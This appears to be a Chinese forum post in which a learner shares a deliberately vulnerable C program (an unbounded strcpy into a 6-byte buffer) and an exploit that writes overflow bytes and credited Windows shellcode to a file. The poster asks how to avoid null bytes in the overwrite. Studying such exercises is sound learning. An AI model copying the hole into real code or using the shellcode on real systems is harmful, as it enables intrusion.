最近自己为了学习,想来次试验,自己写了个漏洞程序:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main(void)
{
char buffer[6];
char temp[1024];
FILE *fp;
fp=fopen("name.txt","r");
if(!fp)
exit(1);
fscanf(fp,"%s",temp);
fclose(fp);
strcpy(buffer,temp);
return 0;
}
呵呵,是很简单的,然后我又针对上面的code写了个Exploit,代码如下:
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
FILE *fp=NULL;
char overflow[]=
"\x61\x61\x61\x61\x61\x61\x00\x08\x00\x00\x00\x12\xfb\x3a";
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
fp=fopen("name.txt","w");
if(fp == NULL)
{
printf("Create 畸形 File失败.\n");
exit(1);
}
else //Create File 成功
{
if(fputs(overflow,fp) == EOF) //Write File Error
{
printf("无非向畸形File中Write OverFlow Code.\n");
fclose(fp);
exit(1);
}
else
printf("成功向畸形File中Write OverFlow Code.\n");
fclose(fp); //close file
fp=NULL;
}
fp=fopen("name.txt","a");
if(fp == NULL)
{
printf("Open 畸形File 失败.\n");
exit(1);
}
else
{
if(fputs(shellcode,fp) == EOF)
{
printf("ShellCode无法被追加到畸形File.\n");
fclose(fp);
exit(1);
}
else
printf("ShellCode已经被成功注入到畸形File.\n");
fclose(fp);
fp=NULL;
}
return 0;
}
呵呵,上面的shellcode是failwest老大贡献的,但是我在写Overflow Code的时候遇到了问题,就是我在教程中看到字符串中不能用0,要不就不能覆盖了啊,但是我看到地址是有0的,我看到ebp,就是被保存在stack中的ebp,我不想破坏他,所以打算用原始地址覆盖它,但是原始地址我这里看到是 00080000啊,不知道对不对啊,如果不想出现0字节的话,我该怎么做呢?谢谢。
我会在网上找找解决办法,但是希望哟时间并且愿意告诉我的高手,可以先回复下我吗?
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